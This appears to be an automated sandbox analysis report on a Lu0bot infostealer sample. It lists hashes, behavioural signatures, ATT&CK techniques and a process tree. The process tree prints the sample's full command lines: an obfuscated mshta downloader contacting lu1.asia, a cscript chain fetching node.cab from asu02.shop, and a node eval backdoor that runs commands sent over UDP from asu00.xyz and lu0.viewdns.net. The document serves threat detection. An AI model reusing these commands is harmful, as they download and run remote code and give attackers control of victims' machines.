lu0bot | 9db5c02ac4e161369160fe13719a212e55377dd57ffc9f98b7141bce3b9df26c

Analysis

max time kernel
150s
max time network
147s
platform
windows10_x64
resource
win10v20210408
submitted
20-07-2021 12:03

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General

Target

15467567c301ef6ae8b98d4fafb6db67.exe
Size

3KB
MD5

15467567c301ef6ae8b98d4fafb6db67
SHA1

9884574ad77b49580ab14047342b4580324cb6ee
SHA256

9db5c02ac4e161369160fe13719a212e55377dd57ffc9f98b7141bce3b9df26c
SHA512

5b3d68e59a908312a8e009d2b6ec4af06be67ee7a762d996ed914de9c00bf5edd57dd38f8eaac52bff5ff8a42e7760b7503b517c671bffc37bb55327b37382b1

Score

10^/10

lu0bot discovery stealer trojan

Malware Config

Signatures

Lu0bot
Lu0bot is a lightweight infostealer written in NodeJS.
trojan stealer lu0bot

Blocklisted process makes network request 2 IoCs

flow	pid	Process
12	3972	mshta.exe
14	196	cscript.exe

Executes dropped EXE 1 IoCs

pid	Process
2076	node.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3276	icacls.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\DPX\setupact.log	expand.exe
File opened for modification	C:\Windows\Logs\DPX\setuperr.log	expand.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
692	tasklist.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command-Line Interface

T1059

pid	Process
3948	ipconfig.exe
1596	netstat.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2936	systeminfo.exe

NTFS ADS 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Temp\ee1b20b30550b6b3:ads	node.exe
File created	C:\ProgramData\DNTException\node.exe:255361d9459834b840c5b9be0cd621b8	node.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	12	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	14	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2076	node.exe
2076	node.exe
2076	node.exe
2076	node.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

description	pid	Process
Token: SeDebugPrivilege	692	tasklist.exe
Token: SeIncreaseQuotaPrivilege	1220	wmic.exe
Token: SeSecurityPrivilege	1220	wmic.exe
Token: SeTakeOwnershipPrivilege	1220	wmic.exe
Token: SeLoadDriverPrivilege	1220	wmic.exe
Token: SeSystemProfilePrivilege	1220	wmic.exe
Token: SeSystemtimePrivilege	1220	wmic.exe
Token: SeProfSingleProcessPrivilege	1220	wmic.exe
Token: SeIncBasePriorityPrivilege	1220	wmic.exe
Token: SeCreatePagefilePrivilege	1220	wmic.exe
Token: SeBackupPrivilege	1220	wmic.exe
Token: SeRestorePrivilege	1220	wmic.exe
Token: SeShutdownPrivilege	1220	wmic.exe
Token: SeDebugPrivilege	1220	wmic.exe
Token: SeSystemEnvironmentPrivilege	1220	wmic.exe
Token: SeRemoteShutdownPrivilege	1220	wmic.exe
Token: SeUndockPrivilege	1220	wmic.exe
Token: SeManageVolumePrivilege	1220	wmic.exe
Token: 33	1220	wmic.exe
Token: 34	1220	wmic.exe
Token: 35	1220	wmic.exe
Token: 36	1220	wmic.exe
Token: SeIncreaseQuotaPrivilege	1220	wmic.exe
Token: SeSecurityPrivilege	1220	wmic.exe
Token: SeTakeOwnershipPrivilege	1220	wmic.exe
Token: SeLoadDriverPrivilege	1220	wmic.exe
Token: SeSystemProfilePrivilege	1220	wmic.exe
Token: SeSystemtimePrivilege	1220	wmic.exe
Token: SeProfSingleProcessPrivilege	1220	wmic.exe
Token: SeIncBasePriorityPrivilege	1220	wmic.exe
Token: SeCreatePagefilePrivilege	1220	wmic.exe
Token: SeBackupPrivilege	1220	wmic.exe
Token: SeRestorePrivilege	1220	wmic.exe
Token: SeShutdownPrivilege	1220	wmic.exe
Token: SeDebugPrivilege	1220	wmic.exe
Token: SeSystemEnvironmentPrivilege	1220	wmic.exe
Token: SeRemoteShutdownPrivilege	1220	wmic.exe
Token: SeUndockPrivilege	1220	wmic.exe
Token: SeManageVolumePrivilege	1220	wmic.exe
Token: 33	1220	wmic.exe
Token: 34	1220	wmic.exe
Token: 35	1220	wmic.exe
Token: 36	1220	wmic.exe
Token: SeDebugPrivilege	1596	netstat.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 900 wrote to memory of 3972	900	15467567c301ef6ae8b98d4fafb6db67.exe	74
PID 900 wrote to memory of 3972	900	15467567c301ef6ae8b98d4fafb6db67.exe	74
PID 900 wrote to memory of 3972	900	15467567c301ef6ae8b98d4fafb6db67.exe	74
PID 3972 wrote to memory of 500	3972	mshta.exe	76
PID 3972 wrote to memory of 500	3972	mshta.exe	76
PID 3972 wrote to memory of 500	3972	mshta.exe	76
PID 500 wrote to memory of 196	500	cmd.exe	78
PID 500 wrote to memory of 196	500	cmd.exe	78
PID 500 wrote to memory of 196	500	cmd.exe	78
PID 500 wrote to memory of 412	500	cmd.exe	81
PID 500 wrote to memory of 412	500	cmd.exe	81
PID 500 wrote to memory of 412	500	cmd.exe	81
PID 500 wrote to memory of 2204	500	cmd.exe	82
PID 500 wrote to memory of 2204	500	cmd.exe	82
PID 500 wrote to memory of 2204	500	cmd.exe	82
PID 2204 wrote to memory of 2076	2204	cscript.exe	83
PID 2204 wrote to memory of 2076	2204	cscript.exe	83
PID 2204 wrote to memory of 2076	2204	cscript.exe	83
PID 2076 wrote to memory of 3992	2076	node.exe	86
PID 2076 wrote to memory of 3992	2076	node.exe	86
PID 2076 wrote to memory of 3992	2076	node.exe	86
PID 2076 wrote to memory of 3180	2076	node.exe	87
PID 2076 wrote to memory of 3180	2076	node.exe	87
PID 2076 wrote to memory of 3180	2076	node.exe	87
PID 2076 wrote to memory of 3276	2076	node.exe	88
PID 2076 wrote to memory of 3276	2076	node.exe	88
PID 2076 wrote to memory of 3276	2076	node.exe	88
PID 2076 wrote to memory of 804	2076	node.exe	89
PID 2076 wrote to memory of 804	2076	node.exe	89
PID 2076 wrote to memory of 804	2076	node.exe	89
PID 2076 wrote to memory of 3880	2076	node.exe	90
PID 2076 wrote to memory of 3880	2076	node.exe	90
PID 2076 wrote to memory of 3880	2076	node.exe	90
PID 2076 wrote to memory of 692	2076	node.exe	91
PID 2076 wrote to memory of 692	2076	node.exe	91
PID 2076 wrote to memory of 692	2076	node.exe	91
PID 2076 wrote to memory of 1220	2076	node.exe	92
PID 2076 wrote to memory of 1220	2076	node.exe	92
PID 2076 wrote to memory of 1220	2076	node.exe	92
PID 2076 wrote to memory of 3948	2076	node.exe	93
PID 2076 wrote to memory of 3948	2076	node.exe	93
PID 2076 wrote to memory of 3948	2076	node.exe	93
PID 2076 wrote to memory of 972	2076	node.exe	94
PID 2076 wrote to memory of 972	2076	node.exe	94
PID 2076 wrote to memory of 972	2076	node.exe	94
PID 2076 wrote to memory of 1596	2076	node.exe	95
PID 2076 wrote to memory of 1596	2076	node.exe	95
PID 2076 wrote to memory of 1596	2076	node.exe	95
PID 2076 wrote to memory of 2936	2076	node.exe	96
PID 2076 wrote to memory of 2936	2076	node.exe	96
PID 2076 wrote to memory of 2936	2076	node.exe	96

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
3880	attrib.exe
804	attrib.exe

C:\Users\Admin\AppData\Local\Temp\15467567c301ef6ae8b98d4fafb6db67.exe
"C:\Users\Admin\AppData\Local\Temp\15467567c301ef6ae8b98d4fafb6db67.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:900
- C:\Windows\SysWOW64\mshta.exe
  mshta "javascript:document.write();184;y=unescape('%325%31%7E%68t%74p%3A%2F%2Fl%751%2Ea%73i%61%2F%68r%69%2F%3F2%31a%36e%34b%7E3%34').split('~');29;try{x='WinHttp';55;x=new ActiveXObject(x+'.'+x+'Request.5.1');187;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);165;x.send();220;y='ipt.S';191;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);204;}catch(e){};30;;window.close();"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of WriteProcessMemory
  PID:3972
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1626782595696.txt & cscript /nologo /e:jscript get1626782595696.txt "http%3A%2F%2Fasu02.shop%2Fhri%2F%3F2ca0dc6fc%26b%3Dc1958a0d" node.cab & expand node.cab node.exe & del get1626782595696.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1626782595696.txt & cscript /nologo /e:jscript get1626782595696.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27ca0dc6fc%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1626782595696.txt
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:500
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1626782595696.txt "http%3A%2F%2Fasu02.shop%2Fhri%2F%3F2ca0dc6fc%26b%3Dc1958a0d" node.cab
      4⤵
      Blocklisted process makes network request
      PID:196
  - - C:\Windows\SysWOW64\expand.exe
      expand node.cab node.exe
      4⤵
      Drops file in Windows directory
      PID:412
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1626782595696.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27ca0dc6fc%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2204
    - - C:\ProgramData\DNTException\node.exe
        
        "C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27ca0dc6fc%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        NTFS ADS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2076
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c dir C:\
        6⤵
        
        PID:3992
      - C:\Windows\SysWOW64\cacls.exe
        
        cacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F
        6⤵
        
        PID:3180
      - C:\Windows\SysWOW64\icacls.exe
        
        icacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)
        6⤵
        Modifies file permissions
        
        PID:3276
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException
        6⤵
        Views/modifies file attributes
        
        PID:804
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException\node.exe
        6⤵
        Views/modifies file attributes
        
        PID:3880
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /fo csv /nh
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:692
      - C:\Windows\SysWOW64\Wbem\wmic.exe
        
        wmic process get processid,parentprocessid,name,executablepath /format:csv
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1220
      - C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig.exe /all
        6⤵
        Gathers network information
        
        PID:3948
      - C:\Windows\SysWOW64\route.exe
        
        route.exe print
        6⤵
        
        PID:972
      - C:\Windows\SysWOW64\netstat.exe
        
        netstat.exe -ano
        6⤵
        Gathers network information
        Suspicious use of AdjustPrivilegeToken
        
        PID:1596
      - C:\Windows\SysWOW64\systeminfo.exe
        
        systeminfo.exe /fo csv
        6⤵
        Gathers system information
        
        PID:2936

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Hidden Files and Directories

T1158

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Hidden Files and Directories

T1158

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2076-128-0x000000003C600000-0x000000003C601000-memory.dmp

Filesize
4KB

Download
memory/2076-126-0x0000000026100000-0x0000000026101000-memory.dmp

Filesize
4KB

Download
memory/2076-129-0x000000000EA00000-0x000000000EA01000-memory.dmp

Filesize
4KB

Download
memory/2076-130-0x0000000026900000-0x0000000026901000-memory.dmp

Filesize
4KB

Download
memory/2076-125-0x0000000006500000-0x0000000006501000-memory.dmp

Filesize
4KB

Download
memory/2076-127-0x0000000014000000-0x0000000014001000-memory.dmp

Filesize
4KB

Download